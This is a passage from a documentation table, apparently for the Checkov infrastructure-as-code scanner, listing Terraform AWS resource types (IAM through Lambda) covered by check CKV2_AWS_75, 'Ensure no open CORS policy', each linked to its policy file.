CKV2_AWS_75     | resource | aws_iam_service_linked_role                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2846 | CKV2_AWS_75     | resource | aws_iam_service_specific_credential                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2847 | CKV2_AWS_75     | resource | aws_iam_signing_certificate                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2848 | CKV2_AWS_75     | resource | aws_iam_user                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2849 | CKV2_AWS_75     | resource | aws_iam_user_group_membership                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2850 | CKV2_AWS_75     | resource | aws_iam_user_login_profile                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2851 | CKV2_AWS_75     | resource | aws_iam_user_policies_exclusive                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2852 | CKV2_AWS_75     | resource | aws_iam_user_policy                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2853 | CKV2_AWS_75     | resource | aws_iam_user_policy_attachment                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2854 | CKV2_AWS_75     | resource | aws_iam_user_policy_attachments_exclusive                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2855 | CKV2_AWS_75     | resource | aws_iam_user_ssh_key                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2856 | CKV2_AWS_75     | resource | aws_iam_virtual_mfa_device                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2857 | CKV2_AWS_75     | resource | aws_identitystore_group                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2858 | CKV2_AWS_75     | resource | aws_identitystore_group_membership                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2859 | CKV2_AWS_75     | resource | aws_identitystore_user                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2860 | CKV2_AWS_75     | resource | aws_imagebuilder_component                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2861 | CKV2_AWS_75     | resource | aws_imagebuilder_container_recipe                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2862 | CKV2_AWS_75     | resource | aws_imagebuilder_distribution_configuration                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2863 | CKV2_AWS_75     | resource | aws_imagebuilder_image                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2864 | CKV2_AWS_75     | resource | aws_imagebuilder_image_pipeline                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2865 | CKV2_AWS_75     | resource | aws_imagebuilder_image_recipe                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2866 | CKV2_AWS_75     | resource | aws_imagebuilder_infrastructure_configuration                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2867 | CKV2_AWS_75     | resource | aws_imagebuilder_lifecycle_policy                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2868 | CKV2_AWS_75     | resource | aws_imagebuilder_workflow                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2869 | CKV2_AWS_75     | resource | aws_inspector2_delegated_admin_account                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2870 | CKV2_AWS_75     | resource | aws_inspector2_enabler                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2871 | CKV2_AWS_75     | resource | aws_inspector2_member_association                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2872 | CKV2_AWS_75     | resource | aws_inspector2_organization_configuration                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2873 | CKV2_AWS_75     | resource | aws_inspector_assessment_target                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2874 | CKV2_AWS_75     | resource | aws_inspector_assessment_template                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2875 | CKV2_AWS_75     | resource | aws_inspector_resource_group                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2876 | CKV2_AWS_75     | resource | aws_instance                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2877 | CKV2_AWS_75     | resource | aws_internet_gateway                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2878 | CKV2_AWS_75     | resource | aws_internet_gateway_attachment                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2879 | CKV2_AWS_75     | resource | aws_internetmonitor_monitor                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2880 | CKV2_AWS_75     | resource | aws_iot_authorizer                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2881 | CKV2_AWS_75     | resource | aws_iot_billing_group                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2882 | CKV2_AWS_75     | resource | aws_iot_ca_certificate                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2883 | CKV2_AWS_75     | resource | aws_iot_certificate                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2884 | CKV2_AWS_75     | resource | aws_iot_domain_configuration                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2885 | CKV2_AWS_75     | resource | aws_iot_event_configurations                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2886 | CKV2_AWS_75     | resource | aws_iot_indexing_configuration                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2887 | CKV2_AWS_75     | resource | aws_iot_logging_options                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2888 | CKV2_AWS_75     | resource | aws_iot_policy                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2889 | CKV2_AWS_75     | resource | aws_iot_policy_attachment                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2890 | CKV2_AWS_75     | resource | aws_iot_provisioning_template                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2891 | CKV2_AWS_75     | resource | aws_iot_role_alias                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2892 | CKV2_AWS_75     | resource | aws_iot_thing                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2893 | CKV2_AWS_75     | resource | aws_iot_thing_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2894 | CKV2_AWS_75     | resource | aws_iot_thing_group_membership                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2895 | CKV2_AWS_75     | resource | aws_iot_thing_principal_attachment                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2896 | CKV2_AWS_75     | resource | aws_iot_thing_type                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2897 | CKV2_AWS_75     | resource | aws_iot_topic_rule                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2898 | CKV2_AWS_75     | resource | aws_iot_topic_rule_destination                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2899 | CKV2_AWS_75     | resource | aws_ivs_channel                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2900 | CKV2_AWS_75     | resource | aws_ivs_playback_key_pair                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2901 | CKV2_AWS_75     | resource | aws_ivs_recording_configuration                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2902 | CKV2_AWS_75     | resource | aws_ivschat_logging_configuration                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2903 | CKV2_AWS_75     | resource | aws_ivschat_room                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2904 | CKV2_AWS_75     | resource | aws_kendra_data_source                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2905 | CKV2_AWS_75     | resource | aws_kendra_experience                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2906 | CKV2_AWS_75     | resource | aws_kendra_faq                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2907 | CKV2_AWS_75     | resource | aws_kendra_index                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2908 | CKV2_AWS_75     | resource | aws_kendra_query_suggestions_block_list                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2909 | CKV2_AWS_75     | resource | aws_kendra_thesaurus                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2910 | CKV2_AWS_75     | resource | aws_key_pair                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2911 | CKV2_AWS_75     | resource | aws_keyspaces_keyspace                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2912 | CKV2_AWS_75     | resource | aws_keyspaces_table                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2913 | CKV2_AWS_75     | resource | aws_kinesis_analytics_application                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2914 | CKV2_AWS_75     | resource | aws_kinesis_firehose_delivery_stream                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2915 | CKV2_AWS_75     | resource | aws_kinesis_resource_policy                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2916 | CKV2_AWS_75     | resource | aws_kinesis_stream                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2917 | CKV2_AWS_75     | resource | aws_kinesis_stream_consumer                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2918 | CKV2_AWS_75     | resource | aws_kinesis_video_stream                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2919 | CKV2_AWS_75     | resource | aws_kinesisanalyticsv2_application                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2920 | CKV2_AWS_75     | resource | aws_kinesisanalyticsv2_application_snapshot                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2921 | CKV2_AWS_75     | resource | aws_kms_alias                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2922 | CKV2_AWS_75     | resource | aws_kms_ciphertext                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2923 | CKV2_AWS_75     | resource | aws_kms_custom_key_store                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2924 | CKV2_AWS_75     | resource | aws_kms_external_key                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2925 | CKV2_AWS_75     | resource | aws_kms_grant                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2926 | CKV2_AWS_75     | resource | aws_kms_key                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2927 | CKV2_AWS_75     | resource | aws_kms_key_policy                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2928 | CKV2_AWS_75     | resource | aws_kms_replica_external_key                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2929 | CKV2_AWS_75     | resource | aws_kms_replica_key                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2930 | CKV2_AWS_75     | resource | aws_lakeformation_data_cells_filter                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2931 | CKV2_AWS_75     | resource | aws_lakeformation_data_lake_settings                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2932 | CKV2_AWS_75     | resource | aws_lakeformation_lf_tag                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2933 | CKV2_AWS_75     | resource | aws_lakeformation_permissions                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2934 | CKV2_AWS_75     | resource | aws_lakeformation_resource                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2935 | CKV2_AWS_75     | resource | aws_lakeformation_resource_lf_tag                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2936 | CKV2_AWS_75     | resource | aws_lakeformation_resource_lf_tags                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2937 | CKV2_AWS_75     | resource | aws_lambda_alias                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2938 | CKV2_AWS_75     | resource | aws_lambda_code_signing_config                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2939 | CKV2_AWS_75     | resource | aws_lambda_event_source_mapping                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2940 | CKV2_AWS_75     | resource | aws_lambda_function                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2941 | CKV2_AWS_75     | resource | aws_lambda_function_event_invoke_config                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | 